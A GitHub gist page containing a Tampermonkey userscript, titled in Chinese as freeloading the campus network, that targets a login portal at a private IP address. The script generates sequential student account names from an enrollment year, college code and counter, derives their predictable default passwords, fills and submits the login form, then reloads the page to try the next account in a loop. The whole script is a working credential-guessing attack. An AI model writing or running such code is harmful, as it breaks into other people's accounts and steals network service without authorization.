Skip to content

Instantly share code, notes, and snippets.

@GTian5418
Created March 17, 2022 10:57
Show Gist options
  • Save GTian5418/a0a8f2a2da4ad4eeeeb5e4753734e5a6 to your computer and use it in GitHub Desktop.
Save GTian5418/a0a8f2a2da4ad4eeeeb5e4753734e5a6 to your computer and use it in GitHub Desktop.

Revisions

  1. GTian5418 created this gist Mar 17, 2022.
    164 changes: 164 additions & 0 deletions main.js
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,164 @@
    // ==UserScript==

    // @name 白嫖校园网

    // @namespace http://tampermonkey.net/

    // @version 0.1

    // @description try to take over the world!

    // @author You

    // @match http://172.20.124.10:8081/*

    // @icon https://www.google.com/s2/favicons?sz=64&domain=124.10

    // @grant none

    // ==/UserScript==

    (function() {

    window.t=function creatCookie(name,value,days){

    var expires ="";

    if(days) {

    var date =new Date();

    date.setTime(date.getTime()+(days*24*3600*1000))

    expires = ";expires="+date.toGMTString();

    };

    document.cookie =name+"="+value+expires+"; path=/";

    };

    window.r=function readCookie(name){

    var nameEQ = name + "=";

    var ca = document.cookie.split(';');

    for(var i=0;i< ca.length;i++){

    var c=ca[i];

    while (c.charAt(0)==' ') c = c.substring(1,c.length);

    if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);

    };

    return null;}

    window.g=function (){

    var xn=window.r('xn');

    var xy=window.r('xy');

    if(window.r('t')==null){

    window.t('t',0,7);

    }

    else {

    var num=parseInt(window.r('t'));

    num=num+1;

    window.t('t',num,7)

    var num1=String(num).length;

    }

    if(num1==1){

    num="00"+num;

    }

    if(num1==2){

    num="0"+num;

    }

    var account='yd'+xn+xy+num+'0';

    window.t('account',account,7);

    account=window.r('account');

    var password=xy.substring(1,3)+num+'0';

    document.querySelector('#account').value=account;

    document.querySelector('#password').value=password;

    document.querySelector('.btn ').onclick()

    setTimeout("window.location.reload()", 2560 );

    };

    window.s=function(){

    window.t('t',0,7);

    alert('重置成功');

    }

    window.c=function(){

    window.t('xy',document.getElementById("xy").value,7);

    }

    window.save=function(){

    window.t('xn',document.getElementById("xn").value,7);

    }

    var x=document.createElement("div");

    x.innerHTML='<br></br>学年:<input id="xn" type="Number" value="2018" onchange="save()"><br></br><input type="button" onclick="g()" value="Fuck">';

    var str='<br></br>学院号:<input id="xy" type="Number" value="191" onchange="c()"><br></br><input type="button" onclick="s()" value="重置num">';

    x.innerHTML= x.innerHTML+str;

    var element=document.getElementsByClassName("control-label col-lg-2")[0];

    element.appendChild(x);

    if(window.r('xn')!=2018){

    document.getElementById("xn").value=window.r('xn');

    }

    if(window.r('xy')!=191){

    document.getElementById("xy").value=window.r('xy');

    }

    if(window.r('t')!=0){

    window.g();

    }

    })();